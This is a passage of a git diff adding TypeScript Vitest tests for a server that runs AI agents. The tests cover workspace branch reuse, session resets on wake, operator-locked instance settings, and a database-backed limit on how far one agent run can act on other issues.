+    expect(metadata.createdByRuntime).toBe(false);
+    expect(metadata.gitBranchOwnershipVersion).toBe(1);
+  });
+
+  it("does not downgrade recorded runtime ownership after worktree reuse", () => {
+    const executionWorkspace = {
+      created: false,
+      branchCreatedByRuntime: true,
+    };
+
+    const metadata = mergeExecutionWorkspaceMetadataForPersistence({
+      existingMetadata: { createdByRuntime: true },
+      source: "task_session",
+      createdByRuntime: resolveExecutionWorkspaceBranchOwnership(executionWorkspace),
+      strategyType: "git_worktree",
+      configSnapshot: null,
+      shouldReuseExisting: false,
+      baseRef: "origin/main",
+      baseRefSha: null,
+    });
+
+    expect(metadata.createdByRuntime).toBe(true);
+    expect(metadata.gitBranchOwnershipVersion).toBe(1);
+  });
+
   it("merges config snapshot for newly realized workspaces", () => {
     expect(mergeExecutionWorkspaceMetadataForPersistence({
       existingMetadata: null,
       source: "task_session",
       createdByRuntime: true,
+      strategyType: "project_primary",
       configSnapshot: {
         environmentId: "env-new",
         provisionCommand: "bash ./scripts/provision.sh",
@@ -1305,6 +1349,7 @@ describe("mergeExecutionWorkspaceMetadataForPersistence", () => {
       },
       source: "task_session",
       createdByRuntime: false,
+      strategyType: "project_primary",
       configSnapshot: {
         environmentId: "env-new",
         provisionCommand: "bash ./scripts/new-provision.sh",
@@ -1327,6 +1372,7 @@ describe("mergeExecutionWorkspaceMetadataForPersistence", () => {
       existingMetadata: null,
       source: "task_session",
       createdByRuntime: true,
+      strategyType: "project_primary",
       configSnapshot: null,
       shouldReuseExisting: false,
       baseRef: "origin/main",
@@ -1452,6 +1498,7 @@ describe("effective run execution workspace config freshness", () => {
       },
       source: "task_session",
       createdByRuntime: false,
+      strategyType: "project_primary",
       configSnapshot: {
         workspaceRuntime: {
           services: [{ name: "web", command: "pnpm dev -- --host 0.0.0.0", port: 3200 }],
@@ -1583,6 +1630,7 @@ describe("effective run execution workspace config freshness", () => {
       },
       source: "task_session",
       createdByRuntime: false,
+      strategyType: "project_primary",
       configSnapshot: {
         provisionCommand: "pnpm install --frozen-lockfile",
       },
@@ -1676,6 +1724,65 @@ describe("effective run execution workspace config freshness", () => {
     expect(realizeWorkspace).not.toHaveBeenCalled();
   });
 
+  it.each([
+    { name: "a different branch", branchName: "PAP-9001-derived-child-branch" },
+    { name: "no recorded branch", branchName: null },
+  ])(
+    "realizes the pinned existing branch instead of reusing an inherited workspace on $name",
+    async ({ branchName }) => {
+      const reuseRequest = resolveExecutionWorkspaceReuseRequestForIssue({
+        issueExecutionWorkspaceId: "workspace-old",
+        issueExecutionWorkspacePreference: "reuse_existing",
+        existingExecutionWorkspaceStatus: "active",
+        requestedExistingBranch: "PAP-14380-salvage-pap-9514",
+        existingExecutionWorkspaceBranchName: branchName,
+      });
+
+      expect(reuseRequest).toEqual({
+        requestedExecutionWorkspaceId: "workspace-old",
+        requestedShouldReuseExisting: false,
+        existingExecutionWorkspaceAvailable: false,
+      });
+
+      const metadata = buildWorkspaceConfigMetadata();
+      const decision = resolveExecutionWorkspaceConfigFreshness({
+        hasExistingWorkspace: false,
+        existingWorkspaceMetadata: null,
+        nextMetadata: metadata,
+      });
+      const realizeWorkspace = vi.fn(async () => ({ id: "pinned-branch-workspace", warnings: [] }));
+      const restoreExistingWorkspace = vi.fn(async () => ({ id: "workspace-old", warnings: [] }));
+
+      const result = await provisionExecutionWorkspaceForFreshnessDecision({
+        requestedShouldReuseExisting: reuseRequest.requestedShouldReuseExisting,
+        existingExecutionWorkspaceId: reuseRequest.requestedExecutionWorkspaceId,
+        issueRef: { id: "issue-1", identifier: "PAP-42" },
+        runId: "run-1",
+        workspaceConfigFreshness: decision,
+        restoreExistingWorkspace,
+        realizeWorkspace,
+      });
+
+      expect(result.executionWorkspace).toEqual({ id: "pinned-branch-workspace", warnings: [] });
+      expect(result.reusedExecutionWorkspace).toBeNull();
+      expect(restoreExistingWorkspace).not.toHaveBeenCalled();
+    },
+  );
+
+  it("keeps reusing an inherited workspace whose branch matches the pinned existing branch", () => {
+    expect(resolveExecutionWorkspaceReuseRequestForIssue({
+      issueExecutionWorkspaceId: "workspace-old",
+      issueExecutionWorkspacePreference: "reuse_existing",
+      existingExecutionWorkspaceStatus: "active",
+      requestedExistingBranch: "PAP-14380-salvage-pap-9514",
+      existingExecutionWorkspaceBranchName: "PAP-14380-salvage-pap-9514",
+    })).toEqual({
+      requestedExecutionWorkspaceId: "workspace-old",
+      requestedShouldReuseExisting: true,
+      existingExecutionWorkspaceAvailable: true,
+    });
+  });
+
   it("fails loudly when explicit reuse restore returns no workspace", async () => {
     const metadata = buildWorkspaceConfigMetadata();
     const decision = resolveExecutionWorkspaceConfigFreshness({
@@ -1791,16 +1898,16 @@ describe("shouldResetTaskSessionForWake", () => {
     expect(shouldResetTaskSessionForWake({ wakeReason: "issue_assigned" })).toBe(true);
   });
 
-  it("resets session context on execution review wakes", () => {
-    expect(shouldResetTaskSessionForWake({ wakeReason: "execution_review_requested" })).toBe(true);
+  it("preserves session context on execution review handoff wakes", () => {
+    expect(shouldResetTaskSessionForWake({ wakeReason: "execution_review_requested" })).toBe(false);
   });
 
   it("resets session context on execution approval wakes", () => {
     expect(shouldResetTaskSessionForWake({ wakeReason: "execution_approval_requested" })).toBe(true);
   });
 
-  it("resets session context on execution changes-requested wakes", () => {
-    expect(shouldResetTaskSessionForWake({ wakeReason: "execution_changes_requested" })).toBe(true);
+  it("preserves session context on execution changes-requested handoff wakes", () => {
+    expect(shouldResetTaskSessionForWake({ wakeReason: "execution_changes_requested" })).toBe(false);
   });
 
   it("preserves session context on timer heartbeats", () => {
@@ -2092,6 +2199,57 @@ describe("effective run session config freshness", () => {
     expect(decision.reasons.join("\n")).toContain("adapter config");
   });
 
+  it("does not reset for issue comment timestamps but still resets for workspace settings", async () => {
+    const base = await buildSessionConfigMetadata({
+      workspaceConfig: {
+        requestedMode: "agent_default",
+        effectiveMode: "agent_default",
+        issueConfigRevisionAt: "2026-06-01T00:00:00.000Z",
+        issueSettings: null,
+      },
+    });
+    const commentOnly = await buildSessionConfigMetadata({
+      workspaceConfig: {
+        requestedMode: "agent_default",
+        effectiveMode: "agent_default",
+        issueConfigRevisionAt: "2026-06-01T00:05:00.000Z",
+        issueSettings: null,
+      },
+    });
+    const workspaceChanged = await buildSessionConfigMetadata({
+      workspaceConfig: {
+        requestedMode: "isolated_workspace",
+        effectiveMode: "isolated_workspace",
+        issueConfigRevisionAt: "2026-06-01T00:05:00.000Z",
+        issueSettings: { mode: "isolated_workspace" },
+      },
+    });
+
+    expect(
+      resolveTaskSessionConfigFreshness({
+        hasTaskSession: true,
+        configuredModel: "gpt-5.4-mini",
+        taskSessionParams: sessionParamsWithConfigMetadata(base),
+        configMetadata: commentOnly,
+      }),
+    ).toMatchObject({
+      reset: false,
+      changedCategories: [],
+      reasons: [],
+    });
+    expect(
+      resolveTaskSessionConfigFreshness({
+        hasTaskSession: true,
+        configuredModel: "gpt-5.4-mini",
+        taskSessionParams: sessionParamsWithConfigMetadata(base),
+        configMetadata: workspaceChanged,
+      }),
+    ).toMatchObject({
+      reset: true,
+      changedCategories: ["workspaceConfig"],
+    });
+  });
+
   it("keeps model-only compatibility as an additional reset reason", async () => {
     const base = await buildSessionConfigMetadata();
 
diff --git a/server/src/__tests__/instance-settings-routes.test.ts b/server/src/__tests__/instance-settings-routes.test.ts
index a139765f950..a201627c237 100644
--- a/server/src/__tests__/instance-settings-routes.test.ts
+++ b/server/src/__tests__/instance-settings-routes.test.ts
@@ -805,4 +805,123 @@ describe("instance settings routes", () => {
       expect(mockInstanceSettingsService.updateGeneral).toHaveBeenCalledWith({ executionMode: "kubernetes" });
     });
   });
+
+  describe("operator-hidden settings floor", () => {
+    const adminActor = {
+      type: "board",
+      userId: "admin-1",
+      source: "session",
+      isInstanceAdmin: true,
+      companyIds: ["company-1"],
+    };
+
+    afterEach(() => {
+      delete process.env.PAPERCLIP_HIDDEN_SETTINGS;
+    });
+
+    it("rejects a write that changes a hidden general field", async () => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.general.censorUsernameInLogs";
+      const app = await createApp(adminActor);
+
+      const res = await request(app)
+        .patch("/api/instance/settings/general")
+        .send({ censorUsernameInLogs: true });
+
+      expect(res.status).toBe(403);
+      expect(res.body.details).toMatchObject({ code: "settings_operator_managed" });
+      expect(mockInstanceSettingsService.updateGeneral).not.toHaveBeenCalled();
+    });
+
+    it("allows a same-value echo of a hidden general field", async () => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.general.censorUsernameInLogs";
+      const app = await createApp(adminActor);
+
+      const res = await request(app)
+        .patch("/api/instance/settings/general")
+        .send({ censorUsernameInLogs: false, keyboardShortcuts: true });
+
+      expect(res.status).toBe(200);
+      expect(mockInstanceSettingsService.updateGeneral).toHaveBeenCalledWith({
+        censorUsernameInLogs: false,
+        keyboardShortcuts: true,
+      });
+    });
+
+    it("deep-compares hidden backupRetention echoes instead of rejecting them", async () => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.general.backupRetention";
+      mockInstanceSettingsService.getGeneral.mockResolvedValue({
+        censorUsernameInLogs: false,
+        keyboardShortcuts: false,
+        feedbackDataSharingPreference: "prompt",
+        backupRetention: { dailyDays: 7, weeklyWeeks: 4, monthlyMonths: 1 },
+      });
+      const app = await createApp(adminActor);
+
+      const echo = await request(app)
+        .patch("/api/instance/settings/general")
+        .send({ backupRetention: { dailyDays: 7, weeklyWeeks: 4, monthlyMonths: 1 } });
+      expect(echo.status).toBe(200);
+
+      const change = await request(app)
+        .patch("/api/instance/settings/general")
+        .send({ backupRetention: { dailyDays: 14, weeklyWeeks: 4, monthlyMonths: 1 } });
+      expect(change.status).toBe(403);
+      expect(change.body.details).toMatchObject({ code: "settings_operator_managed" });
+    });
+
+    it("rejects a write that changes a hidden experimental toggle", async () => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.experimental.enableEnvironments";
+      const app = await createApp(adminActor);
+
+      const res = await request(app)
+        .patch("/api/instance/settings/experimental")
+        .send({ enableEnvironments: true });
+
+      expect(res.status).toBe(403);
+      expect(res.body.details).toMatchObject({ code: "settings_operator_managed" });
+      expect(mockInstanceSettingsService.updateExperimental).not.toHaveBeenCalled();
+    });
+
+    it("allows writes to non-hidden experimental toggles while others are hidden", async () => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS =
+        "instance.experimental.enableEnvironments,instance.experimental.enableServerInfoDebugView";
+      const app = await createApp(adminActor);
+
+      const res = await request(app)
+        .patch("/api/instance/settings/experimental")
+        .send({ enableIsolatedWorkspaces: true });
+
+      expect(res.status).toBe(200);
+      expect(mockInstanceSettingsService.updateExperimental).toHaveBeenCalledWith({
+        enableIsolatedWorkspaces: true,
+      });
+    });
+
+    it("floors every experimental toggle when the whole Experimental page is hidden", async () => {
+      process.env.PAPERCLIP_HIDDEN_SETTINGS = "instance.experimental";
+      const app = await createApp(adminActor);
+
+      const res = await request(app)
+        .patch("/api/instance/settings/experimental")
+        .send({ enableIsolatedWorkspaces: true });
+
+      expect(res.status).toBe(403);
+      expect(res.body.details).toMatchObject({ code: "settings_operator_managed" });
+      expect(mockInstanceSettingsService.updateExperimental).not.toHaveBeenCalled();
+    });
+
+    it("keeps every field writable when the env var is unset", async () => {
+      const app = await createApp(adminActor);
+
+      const general = await request(app)
+        .patch("/api/instance/settings/general")
+        .send({ censorUsernameInLogs: true });
+      expect(general.status).toBe(200);
+
+      const experimental = await request(app)
+        .patch("/api/instance/settings/experimental")
+        .send({ enableEnvironments: true });
+      expect(experimental.status).toBe(200);
+    });
+  });
 });
diff --git a/server/src/__tests__/instance-settings-service.test.ts b/server/src/__tests__/instance-settings-service.test.ts
index 4c5627f4170..d55a2064d3f 100644
--- a/server/src/__tests__/instance-settings-service.test.ts
+++ b/server/src/__tests__/instance-settings-service.test.ts
@@ -52,6 +52,7 @@ describe("instance settings service", () => {
       enableWorkspaceBranchReconcileForward: true,
       enableWorkspaceDirtyQuarantineRepair: false,
       enableOwnerInstanceAdmin: false,
+      enableSandboxDuplexBridge: false,
       enableWorktreeRunExecution: false,
       worktreeRunExecutionActivatedAt: null,
       worktreeRunExecutionActivationInstanceId: null,
diff --git a/server/src/__tests__/interaction-resolution-cross-issue-cap-postgres.test.ts b/server/src/__tests__/interaction-resolution-cross-issue-cap-postgres.test.ts
new file mode 100644
index 00000000000..c132c13e8f7
--- /dev/null
+++ b/server/src/__tests__/interaction-resolution-cross-issue-cap-postgres.test.ts
@@ -0,0 +1,398 @@
+import { randomUUID } from "node:crypto";
+import express from "express";
+import request from "supertest";
+import { and, eq } from "drizzle-orm";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import {
+  activityLog,
+  agentWakeupRequests,
+  agents,
+  companies,
+  companyMemberships,
+  createDb,
+  heartbeatRuns,
+  issueThreadInteractions,
+  issues,
+} from "@paperclipai/db";
+import { errorHandler } from "../middleware/index.js";
+import { issueRoutes } from "../routes/issues.js";
+import { CROSS_ISSUE_INFLUENCE_LIMIT } from "../services/cross-issue-influence-limit.js";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping embedded Postgres interaction-resolution cap tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+/**
+ * Route-level proof for the per-run cross-issue influence cap on issue-thread
+ * interaction resolution, against the real routes, real services, and a real
+ * database: the mocked route harness can prove ordering, but only this can prove
+ * that a capped run leaves no interaction result, child task, activity receipt,
+ * or wake behind, and that concurrent resolutions cannot race past the cap.
+ */
+describeEmbeddedPostgres("cross-issue interaction resolution cap (routes + postgres)", () => {
+  let db!: ReturnType<typeof createDb>;
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("paperclip-interaction-cap-");
+    db = createDb(tempDb.connectionString);
+  }, 30_000);
+
+  // An allowed resolution wakes the assignee, and that wake can land a heartbeat
+  // run row just after the response, so teardown is best-effort in foreign-key
+  // order. Every assertion below is scoped to its own seeded company instead of
+  // relying on an empty database.
+  afterEach(async () => {
+    const cleanups = [
+      () => db.delete(issueThreadInteractions),
+      () => db.delete(activityLog),
+      () => db.delete(heartbeatRuns),
+      () => db.delete(agentWakeupRequests),
+      () => db.delete(heartbeatRuns),
+      () => db.delete(issues),
+      () => db.delete(companyMemberships),
+      () => db.delete(agents),
+      () => db.delete(companies),
+    ];
+    for (const cleanup of cleanups) await cleanup().catch(() => undefined);
+  });
+
+  afterAll(async () => {
+    // End the postgres.js pool before stopping the embedded server. Stopping
+    // the server first tears the TCP connection down under the still-open
+    // client, and a batched write the driver scheduled via setImmediate can
+    // then fire after the connection dropped its socket — an unhandled
+    // `Cannot read properties of null (reading 'write')` that fails the run
+    // even though every test passed. `end()` waits for in-flight queries
+    // (including a fire-and-forget wake landing just after a response) and
+    // closes the sockets from the client side first.
+    await db.$client.end();
+    await tempDb?.cleanup();
+  });
+
+  function app(actor: Record<string, unknown>) {
+    const testApp = express();
+    testApp.use(express.json());
+    testApp.use((req, _res, next) => {
+      (req as any).actor = actor;
+      next();
+    });
+    testApp.use("/api", issueRoutes(db, {} as any, {}));
+    testApp.use(errorHandler);
+    return testApp;
+  }
+
+  function agentActor(companyId: string, agentId: string, runId: string) {
+    return { type: "agent", source: "agent_key", companyId, agentId, runId };
+  }
+
+  function boardActor(companyId: string, userId: string) {
+    return {
+      type: "board",
+      source: "session",
+      userId,
+      companyIds: [companyId],
+      memberships: [{ companyId, status: "active", membershipRole: "operator" }],
+      isInstanceAdmin: false,
+    };
+  }
+
+  const INTERACTION_FIXTURES = {
+    accept: {
+      // A suggested-task card proves the 429 also stops the child-task effect.
+      kind: "suggest_tasks",
+      payload: {
+        version: 1,
+        tasks: [{ clientKey: "spawned", title: "Spawned by a capped run" }],
+      },
+      body: { selectedClientKeys: ["spawned"] },
+    },
+    reject: {
+      kind: "request_confirmation",
+      payload: { version: 1, prompt: "Proceed?" },
+      body: { reason: "Not now" },
+    },
+    respond: {
+      kind: "ask_user_questions",
+      payload: {
+        version: 1,
+        questions: [{
+          id: "scope",
+          prompt: "Which scope?",
+          selectionMode: "single",
+          options: [{ id: "phase-1", label: "Phase 1" }],
+        }],
+      },
+      body: { answers: [{ questionId: "scope", optionIds: ["phase-1"] }] },
+    },
+    verdicts: {
+      kind: "request_item_verdicts",
+      payload: {
+        version: 1,
+        prompt: "Review these",
+        items: [{ id: "item-1", label: "Item one" }],
+        verdicts: ["approve", "reject"],
+      },
+      body: { verdicts: [{ id: "item-1", verdict: "approve" }] },
+    },
+  } as const;
+
+  type ResolutionRoute = keyof typeof INTERACTION_FIXTURES;
+
+  async function seedCompanyAndAgent(prefix: string) {
+    const companyId = randomUUID();
+    const agentId = randomUUID();
+    const userId = `${prefix.toLowerCase()}-operator`;
+    await db.insert(companies).values({
+      id: companyId,
+      name: `${prefix} Company`,
+      issuePrefix: prefix,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(agents).values({
+      id: agentId,
+      companyId,
+      name: `${prefix} Resolver`,
+      role: "engineer",
+      status: "idle",
+      adapterType: "codex_local",
+      adapterConfig: {},
+      runtimeConfig: {},
+      permissions: {},
+    });
+    await db.insert(companyMemberships).values({
+      companyId,
+      principalType: "user",
+      principalId: userId,
+      status: "active",
+      membershipRole: "operator",
+    });
+    return { companyId, agentId, userId };
+  }
+
+  let issueSequence = 0;
+
+  async function seedIssue(companyId: string, prefix: string, assigneeAgentId: string | null) {
+    const issueId = randomUUID();
+    issueSequence += 1;
+    await db.insert(issues).values({
+      id: issueId,
+      companyId,
+      identifier: `${prefix}-${issueSequence}`,
+      title: `${prefix} issue ${issueSequence}`,
+      status: "in_progress",
+      priority: "medium",
+      assigneeAgentId,
+    });
+    return issueId;
+  }
+
+  /** A run whose persisted context names `sourceIssueId`, not the target issue. */
+  async function seedRun(companyId: string, agentId: string, sourceIssueId: string) {
+    const runId = randomUUID();
+    await db.insert(heartbeatRuns).values({
+      id: runId,
+      companyId,
+      agentId,
+      invocationSource: "assignment",
+      triggerDetail: "system",
+      status: "running",
+      contextSnapshot: { issueId: sourceIssueId, wakeReason: "issue_assigned" },
+    });
+    return runId;
+  }
+
+  async function seedInteraction(companyId: string, issueId: string, route: ResolutionRoute) {
+    const fixture = INTERACTION_FIXTURES[route];
+    const [row] = await db.insert(issueThreadInteractions).values({
+      companyId,
+      issueId,
+      kind: fixture.kind,
+      status: "pending",
+      continuationPolicy: "wake_assignee",
+      requestedResolverPolicy: "anyone",
+      effectiveResolverPolicy: "anyone",
+      payload: fixture.payload as never,
+    }).returning({ id: issueThreadInteractions.id });
+    return row.id;
+  }
+
+  async function spendBudget(companyId: string, agentId: string, runId: string, attempts: number) {
+    if (attempts === 0) return;
+    await db.insert(activityLog).values(Array.from({ length: attempts }, () => ({
+      companyId,
+      actorType: "agent" as const,
+      actorId: agentId,
+      agentId,
+      runId,
+      action: "issue.cross_issue_influence_observed",
+      entityType: "issue",
+      entityId: runId,
+    })));
+  }
+
+  async function countInfluenceRows(companyId: string, runId: string, action: string) {
+    const rows = await db
+      .select({ id: activityLog.id })
+      .from(activityLog)
+      .where(and(
+        eq(activityLog.companyId, companyId),
+        eq(activityLog.runId, runId),
+        eq(activityLog.action, action),
+      ));
+    return rows.length;
+  }
+
+  it.each(["accept", "reject", "respond", "verdicts"] as const)(
+    "fails a capped run closed on cross-issue %s with no interaction, task, activity, or wake",
+    async (route) => {
+      const { companyId, agentId } = await seedCompanyAndAgent("CAP");
+      const sourceIssueId = await seedIssue(companyId, "CAP", agentId);
+      const targetIssueId = await seedIssue(companyId, "CAP", agentId);
+      const runId = await seedRun(companyId, agentId, sourceIssueId);
+      await spendBudget(companyId, agentId, runId, CROSS_ISSUE_INFLUENCE_LIMIT);
+      const interactionId = await seedInteraction(companyId, targetIssueId, route);
+
+      const res = await request(app(agentActor(companyId, agentId, runId)))
+        .post(`/api/issues/${targetIssueId}/interactions/${interactionId}/${route}`)
+        .send(INTERACTION_FIXTURES[route].body);
+
+      expect(res.status, JSON.stringify(res.body)).toBe(429);
+      expect(res.body.details).toMatchObject({
+        code: "cross_issue_influence_cap_exceeded",
+        cap: CROSS_ISSUE_INFLUENCE_LIMIT,
+        count: CROSS_ISSUE_INFLUENCE_LIMIT + 1,
+        mode: "enforce",
+      });
+      // The refusal must not leak the run's own (possibly inaccessible) source
+      // issue or the resolver policy it passed.
+      expect(JSON.stringify(res.body)).not.toContain(sourceIssueId);
+      expect(JSON.stringify(res.body)).not.toContain("anyone");
+
+      const [interaction] = await db
+        .select({ status: issueThreadInteractions.status, result: issueThreadInteractions.result })
+        .from(issueThreadInteractions)
+        .where(eq(issueThreadInteractions.id, interactionId));
+      expect(interaction).toMatchObject({ status: "pending", result: null });
+
+      const childIssues = await db
+        .select({ id: issues.id })
+        .from(issues)
+        .where(and(eq(issues.companyId, companyId), eq(issues.parentId, targetIssueId)));
+      expect(childIssues).toEqual([]);
+
+      const wakes = await db
+        .select({ id: agentWakeupRequests.id })
+        .from(agentWakeupRequests)
+        .where(eq(agentWakeupRequests.companyId, companyId));
+      expect(wakes).toEqual([]);
+
+      const resolutionActivity = await db
+        .select({ action: activityLog.action })
+        .from(activityLog)
+        .where(and(eq(activityLog.companyId, companyId), eq(activityLog.entityId, targetIssueId)));
+      expect(resolutionActivity.map((row) => row.action)).toEqual([
+        "issue.cross_issue_influence_cap_rejected",
+      ]);
+      expect(await countInfluenceRows(companyId, runId, "issue.cross_issue_influence_observed"))
+        .toBe(CROSS_ISSUE_INFLUENCE_LIMIT);
+    },
+    30_000,
+  );
+
+  it("charges one budget slot for an allowed cross-issue resolution", async () => {
+    const { companyId, agentId } = await seedCompanyAndAgent("ALW");
+    const sourceIssueId = await seedIssue(companyId, "ALW", agentId);
+    const targetIssueId = await seedIssue(companyId, "ALW", agentId);
+    const runId = await seedRun(companyId, agentId, sourceIssueId);
+    const interactionId = await seedInteraction(companyId, targetIssueId, "respond");
+
+    const res = await request(app(agentActor(companyId, agentId, runId)))
+      .post(`/api/issues/${targetIssueId}/interactions/${interactionId}/respond`)
+      .send(INTERACTION_FIXTURES.respond.body);
+
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+    expect(res.body).toMatchObject({ status: "answered" });
+    expect(await countInfluenceRows(companyId, runId, "issue.cross_issue_influence_observed")).toBe(1);
+
+    const [observed] = await db
+      .select({ details: activityLog.details })
+      .from(activityLog)
+      .where(and(
+        eq(activityLog.companyId, companyId),
+        eq(activityLog.action, "issue.cross_issue_influence_observed"),
+      ));
+    expect(observed.details).toMatchObject({
+      kind: "interaction_resolution",
+      sourceIssueId,
+      targetIssueId,
+      count: 1,
+    });
+  }, 30_000);
+
+  it("leaves same-issue and board resolutions outside the counter", async () => {
+    const { companyId, agentId, userId } = await seedCompanyAndAgent("SME");
+    const issueId = await seedIssue(companyId, "SME", agentId);
+    const boardIssueId = await seedIssue(companyId, "SME", agentId);
+    const runId = await seedRun(companyId, agentId, issueId);
+    await spendBudget(companyId, agentId, runId, CROSS_ISSUE_INFLUENCE_LIMIT);
+    const sameIssueInteractionId = await seedInteraction(companyId, issueId, "respond");
+    const boardInteractionId = await seedInteraction(companyId, boardIssueId, "respond");
+
+    const sameIssue = await request(app(agentActor(companyId, agentId, runId)))
+      .post(`/api/issues/${issueId}/interactions/${sameIssueInteractionId}/respond`)
+      .send(INTERACTION_FIXTURES.respond.body);
+    expect(sameIssue.status, JSON.stringify(sameIssue.body)).toBe(200);
+
+    const board = await request(app(boardActor(companyId, userId)))
+      .post(`/api/issues/${boardIssueId}/interactions/${boardInteractionId}/respond`)
+      .send(INTERACTION_FIXTURES.respond.body);
+    expect(board.status, JSON.stringify(board.body)).toBe(200);
+
+    expect(await countInfluenceRows(companyId, runId, "issue.cross_issue_influence_observed"))
+      .toBe(CROSS_ISSUE_INFLUENCE_LIMIT);
+    expect(await countInfluenceRows(companyId, runId, "issue.cross_issue_influence_cap_rejected")).toBe(0);
+  }, 30_000);
+
+  it("cannot let concurrent cross-issue resolutions race past the cap", async () => {
+    const { companyId, agentId } = await seedCompanyAndAgent("RCE");
+    const sourceIssueId = await seedIssue(companyId, "RCE", agentId);
+    const firstTargetId = await seedIssue(companyId, "RCE", agentId);
+    const secondTargetId = await seedIssue(companyId, "RCE", agentId);
+    const runId = await seedRun(companyId, agentId, sourceIssueId);
+    // One slot left in the shared budget for two simultaneous resolutions.
+    await spendBudget(companyId, agentId, runId, CROSS_ISSUE_INFLUENCE_LIMIT - 1);
+    const firstInteractionId = await seedInteraction(companyId, firstTargetId, "respond");
+    const secondInteractionId = await seedInteraction(companyId, secondTargetId, "respond");
+    const client = app(agentActor(companyId, agentId, runId));
+
+    const results = await Promise.all([
+      request(client)
+        .post(`/api/issues/${firstTargetId}/interactions/${firstInteractionId}/respond`)
+        .send(INTERACTION_FIXTURES.respond.body),
+      request(client)
+        .post(`/api/issues/${secondTargetId}/interactions/${secondInteractionId}/respond`)
+        .send(INTERACTION_FIXTURES.respond.body),
+    ]);
+
+    expect(results.map((res) => res.status).sort()).toEqual([200, 429]);
+    expect(await countInfluenceRows(companyId, runId, "issue.cross_issue_influence_observed"))
+      .toBe(CROSS_ISSUE_INFLUENCE_LIMIT);
+    expect(await countInfluenceRows(companyId, runId, "issue.cross_issue_influence_cap_rejected")).toBe(1);
+
+    const answered = await db
+      .select({ status: issueThreadInteractions.status })
+      .from(issueThreadInteractions)
+      .where(eq(issueThreadInteractions.companyId, companyId));
+    expect(answered.map((row) => row.status).sort()).toEqual(["answered", "pending"]);
+  }, 30_000);
+});
diff --git a/server/src/__tests__/issue-activity-events-routes.test.ts b/server/src/__tests__/issue-activity-events-routes.test.ts
index e8d72ea2d26..17ed91aae0d 100644
--- a/server/src/__tests__/issue-activity-events-routes.test.ts
+++ b/server/src/__tests__/issue-activity-events-routes.test.ts
@@ -7,6 +7,7 @@ import { normalizeIssueExecutionPolicy } from "../services/issue-execution-polic
 
 const mockIssueService = vi.hoisted(() => ({
   getById: vi.fn(),
+  getByIdForUpdate: vi.fn(),
   assertCheckoutOwner: vi.fn(),
   update: vi.fn(),
   addComment: vi.fn(),
@@ -200,6 +201,7 @@ describe("issue activity event routes", () => {
     registerModuleMocks();
     vi.clearAllMocks();
     mockIssueService.assertCheckoutOwner.mockResolvedValue({ adoptedFromRunId: null });
+    mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
     mockIssueService.findMentionedAgents.mockResolvedValue([]);
     mockIssueService.getRelationSummaries.mockResolvedValue({ blockedBy: [], blocks: [] });
     mockIssueService.listWakeableBlockedDependents.mockResolvedValue([]);
@@ -555,6 +557,7 @@ describe("issue activity event routes", () => {
       createdAt: new Date("2026-05-01T00:00:00.000Z"),
     };
     const dbMock = {
+      transaction: async (callback: (tx: unknown) => Promise<unknown>) => callback({}),
       select: () => ({
         from: () => ({
           where: () => ({
diff --git a/server/src/__tests__/issue-agent-mutation-ownership-routes.test.ts b/server/src/__tests__/issue-agent-mutation-ownership-routes.test.ts
index a2c3e5d69c1..4103989346e 100644
--- a/server/src/__tests__/issue-agent-mutation-ownership-routes.test.ts
+++ b/server/src/__tests__/issue-agent-mutation-ownership-routes.test.ts
@@ -20,6 +20,7 @@ const mockIssueService = vi.hoisted(() => ({
   getAttachmentById: vi.fn(),
   getByIdentifier: vi.fn(),
   getById: vi.fn(),
+  getByIdForUpdate: vi.fn(),
   getComment: vi.fn(),
   getDependencyReadiness: vi.fn(),
   getRelationSummaries: vi.fn(),
@@ -50,6 +51,14 @@ const mockCompanyService = vi.hoisted(() => ({
   getById: vi.fn(),
 }));
 
+const mockBudgetService = vi.hoisted(() => ({
+  getInvocationBlock: vi.fn(async () => null),
+}));
+
+const mockProjectService = vi.hoisted(() => ({
+  getById: vi.fn(async () => null),
+}));
+
 const mockDocumentService = vi.hoisted(() => ({
   upsertIssueDocument: vi.fn(),
 }));
@@ -192,6 +201,7 @@ function registerRouteMocks() {
     ISSUE_LIST_MAX_LIMIT: 500,
     accessService: () => mockAccessService,
     agentService: () => mockAgentService,
+    budgetService: () => mockBudgetService,
     clampIssueListLimit: (value: number) => Math.min(Math.max(value, 1), 500),
     companySkillService: () => ({
       completeTestRunForIssue: vi.fn(async () => null),
@@ -235,7 +245,7 @@ function registerRouteMocks() {
     issueThreadInteractionService: () => mockIssueThreadInteractionService,
     taskWatchdogService: () => mockTaskWatchdogService,
     logActivity: mockLogActivity,
-    projectService: () => ({}),
+    projectService: () => mockProjectService,
     routineService: () => ({
       syncRunStatusForIssue: vi.fn(async () => undefined),
     }),
@@ -259,6 +269,8 @@ function makeIssue(overrides: Record<string, unknown> = {}) {
     title: "Owned active issue",
     executionPolicy: null,
     executionState: null,
+    checkoutRunId: null,
+    executionRunId: null,
     hiddenAt: null,
     ...overrides,
   };
@@ -292,21 +304,27 @@ function createRunContextDb(
   const firstRun = runRows[0] ?? {};
   const runAgentId = typeof firstRun.agentId === "string" ? firstRun.agentId : ownerAgentId;
   const runAgentCompanyId = typeof firstRun.agentCompanyId === "string" ? firstRun.agentCompanyId : companyId;
-  const rowsForSelection = (selection: Record<string, unknown>) => {
+  const rowsForSelection = async (selection: Record<string, unknown>) => {
     const keys = Object.keys(selection);
     if (keys.includes("entityId")) return [];
     if (keys.includes("contextSnapshot")) return runRows;
